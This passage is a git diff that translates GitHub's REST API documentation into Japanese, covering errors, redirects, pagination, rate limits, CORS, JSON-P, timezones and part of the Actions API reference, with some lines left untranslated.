         Content-Length: 35
-
+       
         {"message":"Problems parsing JSON"}
 
-2. Sending the wrong type of JSON values will result in a `400 Bad
-   Request` response.
-
+2. 間違ったタイプの JSON 値を送信すると、`400 Bad Request` レスポンスが返されます。
+   
         HTTP/2 400
         Content-Length: 40
-
+       
         {"message":"Body should be a JSON object"}
 
-3. Sending invalid fields will result in a `422 Unprocessable Entity`
-   response.
-
+3. 無効なフィールドを送信すると、`422 Unprocessable Entity` レスポンスが返されます。
+   
         HTTP/2 422
         Content-Length: 149
-
+       
         {
           "message": "Validation Failed",
           "errors": [
@@ -235,144 +212,121 @@ receive request bodies:
           ]
         }
 
-All error objects have resource and field properties so that your client
-can tell what the problem is.  There's also an error code to let you
-know what is wrong with the field.  These are the possible validation error
-codes:
+すべてのエラーオブジェクトにはリソースとフィールドのプロパティがあるため、クライアントは問題の内容を認識することができます。  また、フィールドの問題点を知らせるエラーコードもあります。  発生する可能性のある検証エラーコードは次のとおりです。
 
-Error code name | Description
------------|-----------|
-`missing` | A resource does not exist.
-`missing_field` | A required field on a resource has not been set.
-`invalid` | The formatting of a field is invalid.  Review the documentation for more specific information.
-`already_exists` | Another resource has the same value as this field.  This can happen in resources that must have some unique key (such as label names).
-`unprocessable` | The inputs provided were invalid.
+| エラーコード名          | 説明                                                                 |
+| ---------------- | ------------------------------------------------------------------ |
+| `missing`        | リソースが存在しません。                                                       |
+| `missing_field`  | リソースの必須フィールドが設定されていません。                                            |
+| `invalid`        | フィールドのフォーマットが無効です。  詳細については、ドキュメントを参照してください。                       |
+| `already_exists` | 別のリソースに、このフィールドと同じ値があります。  これは、一意のキー（ラベル名など）が必要なリソースで発生する可能性があります。 |
+| `unprocessable`  | 入力が無効です。                                                           |
 
-Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error.
+リソースはカスタム検証エラー（`code` が `custom`）を送信する場合もあります。 カスタムエラーには常にエラーを説明する `message` フィールドがあり、ほとんどのエラーには、エラーの解決に役立つ可能性があるコンテンツを指す `documentation_url` フィールドも含まれます。
 
-## HTTP redirects
+## HTTP リダイレクト
 
-API v3 uses HTTP redirection where appropriate. Clients should assume that any
-request may result in a redirection. Receiving an HTTP redirection is *not* an
-error and clients should follow that redirect. Redirect responses will have a
-`Location` header field which contains the URI of the resource to which the
-client should repeat the requests.
+API v3 は、必要に応じて HTTP リダイレクトを使用します。 クライアントは、リクエストがリダイレクトされる可能性があることを想定する必要があります。 HTTP リダイレクトの受信はエラー*ではなく*、クライアントはそのリダイレクトに従う必要があります。 リダイレクトのレスポンスには、クライアントがリクエストを繰り返す必要があるリソースの URI を含む `Location` ヘッダフィールドがあります。
 
-Status Code | Description
------------|-----------|
-`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI.
-`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests.
+| ステータスコード    | 説明                                                                                                                                       |
+| ----------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| `301`       | Permanent redirection（恒久的なリダイレクト）。 リクエストに使用した URI は、`Location`ヘッダフィールドで指定されたものに置き換えられています。 このリソースに対する今後のすべてのリクエストは、新しい URI に送信する必要があります。 |
+| `302`、`307` | Temporary redirection（一時的なリダイレクト）。 リクエストは、`Location` ヘッダフィールドで指定された URI に逐語的に繰り返される必要がありますが、クライアントは今後のリクエストで元の URI を引き続き使用する必要があります。     |
 
-Other redirection status codes may be used in accordance with the HTTP 1.1 spec.
+その他のリダイレクトステータスコードは、HTTP 1.1 仕様に従って使用できます。
 
-## HTTP verbs
+## HTTP メソッド
 
-Where possible, API v3 strives to use appropriate HTTP verbs for each
-action.
+API v3 は、可能な限り各アクションに適切な HTTPメソッドを使用しようとします。
 
-Verb | Description
------|-----------
-`HEAD` | Can be issued against any resource to get just the HTTP header info.
-`GET` | Used for retrieving resources.
-`POST` | Used for creating resources.
-`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource.
-`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero.
-`DELETE` |Used for deleting resources.
+| メソッド     | 説明                                                                                                                            |
+| -------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| `HEAD`   | HTTP ヘッダ情報のみを取得するために、任意のリソースに対して発行できます。                                                                                       |
+| `GET`    | リソースを取得するために使用します。                                                                                                            |
+| `POST`   | リソースを作成するために使用します。                                                                                                            |
+| `PATCH`  | 部分的な JSON データでリソースを更新するために使用します。 たとえば、Issue リソースには `title` と `body` の属性があります。 `PATCH`リクエストは、リソースを更新するための1つ以上の属性を受け付けることがあります。 |
+| `PUT`    | リソースまたはコレクションを置き換えるために使用します。 `body` 属性のない `PUT` リクエストでは、必ず `Content-Length` ヘッダをゼロに設定してください。                                  |
+| `DELETE` | リソースを削除するために使用します。                                                                                                            |
 
-## Hypermedia
+## ハイパーメディア
 
-All resources may have one or more `*_url` properties linking to other
-resources.  These are meant to provide explicit URLs so that proper API clients
-don't need to construct URLs on their own.  It is highly recommended that API
-clients use these.  Doing so will make future upgrades of the API easier for
-developers.  All URLs are expected to be proper [RFC 6570][rfc] URI templates.
+すべてのリソースには、他のリソースにリンクしている 1 つ以上の `*_url` プロパティがある場合があります。  これらは、適切な API クライアントが自分で URL を構築する必要がないように、明示的な URL を提供することを目的としています。  API クライアントには、これらを使用することを強くお勧めしています。  そうすることで、開発者が今後の API のアップグレードを容易に行うことができます。  All URLs are expected to be proper [RFC 6570][rfc] URI templates.
 
-You can then expand these templates using something like the [uri_template][uri]
-gem:
+次に、[uri_template][uri] などを使用して、これらのテンプレートを展開できます。
 
     >> tmpl = URITemplate.new('/notifications{?since,all,participating}')
     >> tmpl.expand
     => "/notifications"
-
+    
     >> tmpl.expand :all => 1
     => "/notifications?all=1"
-
+    
     >> tmpl.expand :all => 1, :participating => 1
     => "/notifications?all=1&participating=1"
 
-[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
-[uri]: https://github.com/hannesg/uri_template
+## ページネーション
 
-## Pagination
-
-Requests that return multiple items will be paginated to 30 items by
-default.  You can specify further pages with the `page` parameter. For some
-resources, you can also set a custom page size up to 100 with the `per_page` parameter.
-Note that for technical reasons not all endpoints respect the `per_page` parameter,
-see [events](/rest/reference/activity#events) for example.
+複数のアイテムを返すリクエストは、デフォルトで 30 件ごとにページ分けされます。  `page` パラメータを使用すると、さらにページを指定できます。 一部のリソースでは、`per_page` パラメータを使用してカスタムページサイズを最大 100 に設定することもできます。 技術的な理由により、すべてのエンドポイントが `per_page` パラメータを尊重するわけではないことに注意してください。例については、[イベント](/rest/reference/activity#events)を参照してください。
 
 ```shell
 $ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100'
 ```
 
-Note that page numbering is 1-based and that omitting the `page`
-parameter will return the first page.
+ページ番号は 1 から始まり、`page` パラメータを省略すると最初のページが返されることに注意してください。
 
-Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set.
-With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page.
-Instead, you can traverse the results by using the `before` or `after` parameters.
+カーソルベースのページネーションを使用するエンドポイントもあります。 カーソルとは、結果セットで場所を示す文字列です。 カーソルベースのページネーションでは、結果セットで「ページ」という概念がなくなるため、特定のページに移動することはできません。 かわりに、`before` または `after` パラメータを使用して結果の中を移動できます。
 
-For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide].
+ページネーションの詳細については、[ページネーションでトラバースする][pagination-guide]のガイドをご覧ください。
 
-### Link header
+### リンクヘッダ
 
 {% note %}
 
-**Note:** It's important to form calls with Link header values instead of constructing your own URLs.
+**注釈:** 独自の URL を作成するのではなく、Link ヘッダ値を使用して呼び出しを形成することが重要です。
 
 {% endnote %}
 
-The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example:
+The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. 例:
 
     Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next",
       <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last"
 
-_The example includes a line break for readability._
+_この例は、読みやすいように改行されています。_
 
-Or, if the endpoint uses cursor-based pagination:
+エンドポイントでカーソルベースのページネーションを使用する場合:
 
     Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next",
 
 This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570).
 
-The possible `rel` values are:
+使用可能な `rel` の値は以下のとおりです。
 
-Name | Description
------------|-----------|
-`next` |The link relation for the immediate next page of results.
-`last` |The link relation for the last page of results.
-`first` |The link relation for the first page of results.
-`prev` |The link relation for the immediate previous page of results.
+| 名前      | 説明                |
+| ------- | ----------------- |
+| `次`     | 結果のすぐ次のページのリンク関係。 |
+| `last`  | 結果の最後のページのリンク関係。  |
+| `first` | 結果の最初のページのリンク関係。  |
+| `prev`  | 結果の直前のページのリンク関係。  |
 
-## Rate limiting
+## レート制限
 
-For API requests using Basic Authentication or OAuth, you can make up to 5,000 requests per hour. Authenticated requests are associated with the authenticated user, regardless of whether [Basic Authentication](#basic-authentication) or [an OAuth token](#oauth2-token-sent-in-a-header) was used. This means that all OAuth applications authorized by a user share the same quota of 5,000 requests per hour when they authenticate with different tokens owned by the same user.
+Basic 認証または OAuth を使用する API リクエストの場合、1 時間あたり最大 5,000 件のリクエストを作成できます。 認証されたリクエストは、[Basic 認証](#basic-authentication)または [OAuth トークン](#oauth2-token-sent-in-a-header)のどちらが使用されたかに関係なく、認証されたユーザに関連付けられます。 つまり、ユーザが認証したすべての OAuth アプリケーションは、同じユーザが所有する異なるトークンで認証する場合、1 時間あたり 5,000 リクエストという同じ割り当てを共有します。
 
 {% ifversion fpt or ghec %}
 
-For users that belong to a {% data variables.product.prodname_ghe_cloud %} account, requests made using an OAuth token to resources owned by the same {% data variables.product.prodname_ghe_cloud %} account have an increased limit of 15,000 requests per hour.
+{% data variables.product.prodname_ghe_cloud %} アカウントに属するユーザの場合、同じ {% data variables.product.prodname_ghe_cloud %} アカウントが所有するリソースに OAuth トークンを使用して行うリクエストについては、1 時間当たりのリクエスト制限が 15,000 件まで増加します。
 
 {% endif %}
 
-When using the built-in `GITHUB_TOKEN` in GitHub Actions, the rate limit is 1,000 requests per hour per repository. For organizations that belong to a GitHub Enterprise Cloud account, this limit is 15,000 requests per hour per repository.
+ビルトインの`GITHUB_TOKEN`をGitHub Actionsで使う場合、レート制限はリポジトリごとに1時間あたり1,000リクエストです。 GitHub Enterprise Cloudアカウントに属するOrganizationでは、この制限はリポジトリごとに1時間あたり15,000リクエストです。
 
-For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the user making requests.
+認証されていないリクエストでは、レート制限により 1 時間あたり最大 60 リクエストまで可能です。 認証されていないリクエストは、リクエストを行っているユーザではなく、発信元の IP アドレスに関連付けられます。
 
 {% data reusables.enterprise.rate_limit %}
 
-Note that [the Search API has custom rate limit rules](/rest/reference/search#rate-limit).
+[Search API にはカスタムのレート制限ルール](/rest/reference/search#rate-limit)があることに注意してください。
 
-The returned HTTP headers of any API request show your current rate limit status:
+API リクエストの返された HTTP ヘッダは、現在のレート制限ステータスを示しています。
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat
@@ -383,20 +337,20 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat
 > X-RateLimit-Reset: 1372700873
 ```
 
-Header Name | Description
------------|-----------|
-`X-RateLimit-Limit` | The maximum number of requests you're permitted to make per hour.
-`X-RateLimit-Remaining` | The number of requests remaining in the current rate limit window.
-`X-RateLimit-Reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time).
+| ヘッダ名                    | 説明                                                                            |
+| ----------------------- | ----------------------------------------------------------------------------- |
+| `X-RateLimit-Limit`     | 1 時間あたりのリクエスト数の上限。                                                            |
+| `X-RateLimit-Remaining` | 現在のレート制限ウィンドウに残っているリクエストの数。                                                   |
+| `X-RateLimit-Reset`     | 現在のレート制限ウィンドウが [UTC エポック秒](http://en.wikipedia.org/wiki/Unix_time)でリセットされる時刻。 |
 
-If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object.
+時刻に別の形式を使用する必要がある場合は、最新のプログラミング言語で作業を完了できます。 たとえば、Web ブラウザでコンソールを開くと、リセット時刻を JavaScript の Date オブジェクトとして簡単に取得できます。
 
 ``` javascript
 new Date(1372700873 * 1000)
 // => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT)
 ```
 
-If you exceed the rate limit, an error response returns:
+レート制限を超えると、次のようなエラーレスポンスが返されます。
 
 ```shell
 > HTTP/2 403
@@ -411,11 +365,11 @@ If you exceed the rate limit, an error response returns:
 > }
 ```
 
-You can [check your rate limit status](/rest/reference/rate-limit) without incurring an API hit.
+API ヒットを発生させることなく、[レート制限ステータスを確認](/rest/reference/rate-limit)できます。
 
-### Increasing the unauthenticated rate limit for OAuth applications
+### OAuth アプリケーションの認証されていないレート制限を増やす
 
-If your OAuth application needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route.
+OAuth アプリケーションが認証されていない呼び出しをより高いレート制限で行う必要がある場合は、エンドポイントルートの前にアプリのクライアント ID とシークレットを渡すことができます。
 
 ```shell
 $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}/user/repos
@@ -428,21 +382,21 @@ $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}
 
 {% note %}
 
-**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls.
+**注釈:** クライアントシークレットを他のユーザと共有したり、クライアント側のブラウザコードに含めたりしないでください。 こちらに示す方法は、サーバー間の呼び出しにのみ使用してください。
 
 {% endnote %}
 
-### Staying within the rate limit
+### レート制限内に収める
 
-If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests).
+Basic 認証または OAuth を使用してレート制限を超えた場合、API レスポンスをキャッシュし、[条件付きリクエスト](#conditional-requests)を使用することで問題を解決できます。
 
 ### Secondary rate limits
 
-In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting.
+{% data variables.product.product_name %} で高品質のサービスを提供するにあたって、API を使用するときに、いくつかのアクションに追加のレート制限が適用される場合があります。 For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting.
 
-Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/).
+Secondary rate limits are not intended to interfere with legitimate use of the API. 通常のレート制限が、ユーザにとって唯一の制限であるべきです。 優良な API ユーザにふさわしい振る舞いをしているかどうかを確認するには、[ベストプラクティスのガイドライン](/guides/best-practices-for-integrators/)をご覧ください。
 
-If your application triggers this rate limit, you'll receive an informative response:
+アプリケーションがこのレート制限をトリガーすると、次のような有益なレスポンスを受け取ります。
 
 ```shell
 > HTTP/2 403
@@ -457,19 +411,17 @@ If your application triggers this rate limit, you'll receive an informative resp
 
 {% ifversion fpt or ghec %}
 
-## User agent required
+## User agent の必要性
 
-All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent`
-header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your
-application, for the `User-Agent` header value. This allows us to contact you if there are problems.
+すべての API リクエストには、有効な `User-Agent` ヘッダを含める必要があります。 `User-Agent` ヘッダのないリクエストは拒否されます。 `User-Agent` ヘッダの値には、{% data variables.product.product_name %} のユーザ名またはアプリケーション名を使用してください。 そうすることで、問題がある場合にご連絡することができます。
 
-Here's an example:
+次に例を示します。
 
 ```shell
 User-Agent: Awesome-Octocat-App
 ```
 
-cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response:
+cURL はデフォルトで有効な `User-Agent` ヘッダを送信します。 cURL（または代替クライアント）を介して無効な `User-Agent` ヘッダを提供すると、`403 Forbidden` レスポンスが返されます。
 
 ```shell
 $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
@@ -484,20 +436,15 @@ $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
 
 {% endif %}
 
-## Conditional requests
+## 条件付きリクエスト
 
-Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values
-of these headers to make subsequent requests to those resources using the
-`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource
-has not changed, the server will return a `304 Not Modified`.
+ほとんどのレスポンスでは `ETag` ヘッダが返されます。 多くのレスポンスでは `Last-Modified` ヘッダも返されます。 これらのヘッダーの値を使用して、それぞれ `If-None-Match` ヘッダと `If-Modified-Since` ヘッダを使い、それらのリソースに対して後続のリクエストを行うことができます。 リソースが変更されていない場合、サーバーは `304 Not Modified` を返します。
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Note**: Making a conditional request and receiving a 304 response does not
-count against your [Rate Limit](#rate-limiting), so we encourage you to use it
-whenever possible.
+**注釈**: 条件付きリクエストを作成して 304 レスポンスを受信しても、[レート制限](#rate-limiting)にはカウントされないため、可能な限り使用することをお勧めします。
 
 {% endtip %}
 
@@ -534,16 +481,11 @@ $ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: T
 > X-RateLimit-Reset: 1372700873
 ```
 
-## Cross origin resource sharing
+## オリジン間リソース共有
 
-The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from
-any origin.
-You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or
-[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the
-HTML 5 Security Guide.
+API は、任意のオリジンからの AJAX リクエストに対して、オリジン間リソース共有（CORS）をサポートします。 [CORS W3C Recommendation](http://www.w3.org/TR/cors/)、または HTML 5 セキュリティガイドの[こちらの概要](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki)をご確認ください。
 
-Here's a sample request sent from a browser hitting
-`http://example.com`:
+`http://example.com` にアクセスするブラウザから送信されたサンプルリクエストは次のとおりです。
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com"
@@ -552,7 +494,7 @@ Access-Control-Allow-Origin: *
 Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval
 ```
 
-This is what the CORS preflight request looks like:
+CORS プリフライトリクエストは次のようになります。
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS
@@ -564,13 +506,9 @@ Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-Ra
 Access-Control-Max-Age: 86400
 ```
 
-## JSON-P callbacks
+## JSON-P コールバック
 
-You can send a `?callback` parameter to any GET call to have the results
-wrapped in a JSON function.  This is typically used when browsers want
-to embed {% data variables.product.product_name %} content in web pages by getting around cross domain
-issues.  The response includes the same data output as the regular API,
-plus the relevant HTTP Header information.
+`?callback` パラメータを任意の GET 呼び出しに送信して、結果を JSON 関数でラップできます。  これは通常、ブラウザがクロスドメインの問題を回避することにより、{% data variables.product.product_name %} のコンテンツを Web ページに埋め込む場合に使用されます。  レスポンスには、通常の API と同じデータ出力と、関連する HTTP ヘッダ情報が含まれます。
 
 ```shell
 $ curl {% data variables.product.api_url_pre %}?callback=foo
@@ -591,7 +529,7 @@ $ curl {% data variables.product.api_url_pre %}?callback=foo
 > })
 ```
 
-You can write a JavaScript handler to process the callback. Here's a minimal example you can try out:
+JavaScript ハンドラを記述して、コールバックを処理できます。 以下は、試すことができる最も簡易な例です。
 
     <html>
     <head>
@@ -602,28 +540,26 @@ You can write a JavaScript handler to process the callback. Here's a minimal exa
       console.log(meta);
       console.log(data);
     }
-
+    
     var script = document.createElement('script');
     script.src = '{% data variables.product.api_url_code %}?callback=foo';
-
+    
     document.getElementsByTagName('head')[0].appendChild(script);
     </script>
     </head>
-
+    
     <body>
       <p>Open up your browser's console.</p>
     </body>
     </html>
 
-All of the headers are the same String value as the HTTP Headers with one
-notable exception: Link.  Link headers are pre-parsed for you and come
-through as an array of `[url, options]` tuples.
+すべてのヘッダは HTTP ヘッダと同じ文字列型の値ですが、例外の 1つとして「Link」があります。  Link ヘッダは事前に解析され、`[url, options]` タプルの配列として渡されます。
 
-A link that looks like this:
+リンクは次のようになります。
 
     Link: <url1>; rel="next", <url2>; rel="foo"; bar="baz"
 
-... will look like this in the Callback output:
+... コールバック出力では次のようになります。
 
 ```json
 {
@@ -645,39 +581,42 @@ A link that looks like this:
 }
 ```
 
-## Timezones
+## タイムゾーン
 
-Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls.
+新しいコミットの作成など、新しいデータを作成する一部のリクエストでは、タイムスタンプを指定または生成するときにタイムゾーン情報を提供できます。 We apply the following rules, in order of priority, to determine timezone information for such API calls.
 
-* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
-* [Using the `Time-Zone` header](#using-the-time-zone-header)
-* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user)
-* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information)
+* [ISO 8601 タイムスタンプにタイムゾーン情報を明示的に提供する](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
+* [`Time-Zone` ヘッダを使用する](#using-the-time-zone-header)
+* [ユーザが最後に認識されたタイムゾーンを使用する](#using-the-last-known-timezone-for-the-user)
+* [他のタイムゾーン情報を含まない UTC をデフォルトにする](#defaulting-to-utc-without-other-timezone-information)
 
 Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format.
 
-### Explicitly providing an ISO 8601 timestamp with timezone information
+### ISO 8601 タイムスタンプにタイムゾーン情報を明示的に提供する
 
-For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits).
+タイムスタンプを指定できる API 呼び出しの場合、その正確なタイムスタンプを使用します。 これは[コミット API](/rest/reference/git#commits) の例です。
 
-These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified.
+これらのタイムスタンプは、`2014-02-27T15:05:06+01:00` のようになります。 これらのタイムスタンプを指定する方法については、[こちらの例](/rest/reference/git#example-input)も参照してください。
 
-### Using the `Time-Zone` header
+### `Time-Zone` ヘッダを使用する
 
-It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+[Olson データベースの名前のリスト](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones)に従ってタイムゾーンを定義する `Time-Zone` ヘッダを提供することができます。
 
 ```shell
 $ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md
 ```
 
-This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp.
+つまり、このヘッダが定義するタイムゾーンで API 呼び出しが行われた時のタイムスタンプが生成されます。 たとえば、[コンテンツ API](/rest/reference/repos#contents) は追加または変更ごとに git コミットを生成し、タイムスタンプとして現在の時刻を使用します。 このヘッダは、現在のタイムスタンプの生成に使用されたタイムゾーンを決定します。
 
-### Using the last known timezone for the user
+### ユーザが最後に認識されたタイムゾーンを使用する
 
-If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website.
+`Time-Zone` ヘッダが指定されておらず、API への認証された呼び出しを行う場合、認証されたユーザが最後に認識されたタイムゾーンが使用されます。 最後に認識されたタイムゾーンは、{% data variables.product.product_name %} Web サイトを閲覧するたびに更新されます。
 
-### Defaulting to UTC without other timezone information
+### 他のタイムゾーン情報を含まない UTC をデフォルトにする
 
-If the steps above don't result in any information, we use UTC as the timezone to create the git commit.
+上記の手順で情報が得られない場合は、UTC をタイムゾーンとして使用して git コミットを作成します。
+
+[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
+[uri]: https://github.com/hannesg/uri_template
 
 [pagination-guide]: /guides/traversing-with-pagination
diff --git a/translations/ja-JP/content/rest/reference/actions.md b/translations/ja-JP/content/rest/reference/actions.md
index f00f66a23b..f24a8a66e0 100644
--- a/translations/ja-JP/content/rest/reference/actions.md
+++ b/translations/ja-JP/content/rest/reference/actions.md
@@ -1,5 +1,5 @@
 ---
-title: Actions
+title: アクション
 intro: 'With the Actions API, you can manage and control {% data variables.product.prodname_actions %} for an organization or repository.'
 redirect_from:
   - /v3/actions
@@ -14,15 +14,15 @@ miniTocMaxHeadingLevel: 3
 ---
 
 
-The {% data variables.product.prodname_actions %} API enables you to manage {% data variables.product.prodname_actions %} using the REST API. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} require the permissions mentioned in each endpoint. For more information, see "[{% data variables.product.prodname_actions %} Documentation](/actions)."
+{% data variables.product.prodname_actions %} API では、REST API を使用して {% data variables.product.prodname_actions %} を管理できます。 {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} require the permissions mentioned in each endpoint. 詳しい情報については、「[{% data variables.product.prodname_actions %} のドキュメント](/actions)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Artifacts
+## 成果物
 
-The Artifacts API allows you to download, delete, and retrieve information about workflow artifacts. {% data reusables.actions.about-artifacts %} For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+成果物 API では、ワークフローの成果物に関する情報をダウンロード、削除、および取得できます。 {% data reusables.actions.about-artifacts %} 詳しい情報については、「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -31,58 +31,58 @@ The Artifacts API allows you to download, delete, and retrieve information about
 {% endfor %}
 
 {% ifversion fpt or ghes > 2.22 or ghae or ghec %}
-## Permissions
+## 権限
 
 The Permissions API allows you to set permissions for what organizations and repositories are allowed to run {% data variables.product.prodname_actions %}, and what actions are allowed to run.{% ifversion fpt or ghec or ghes %} For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization)."{% endif %}
 
-You can also set permissions for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+Enterprise の権限を設定することもできます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin#github-actions)」REST API を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'permissions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 {% endif %}
 
-## Secrets
+## シークレット
 
-The Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+シークレット API では、暗号化されたシークレットに関する情報を作成、更新、削除、および取得できます。 {% data reusables.actions.about-secrets %} 詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `secrets` permission to use this API. Authenticated users must have collaborator access to a repository to create, update, or read secrets.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `secrets` permission to use this API. 認証されたユーザは、シークレットを作成、更新、または読み取るために、リポジトリへのコラボレータアクセス権を持っている必要があります。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runners
+## セルフホストランナー
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners API allows you to register, view, and delete self-hosted runners. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+セルフホストランナー API では、自分のホストランナーの登録、表示、削除ができます。 {% data reusables.actions.about-self-hosted-runners %} 詳しい情報については「[自分のランナーのホスト](/actions/hosting-your-own-runners)」を参照してください。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
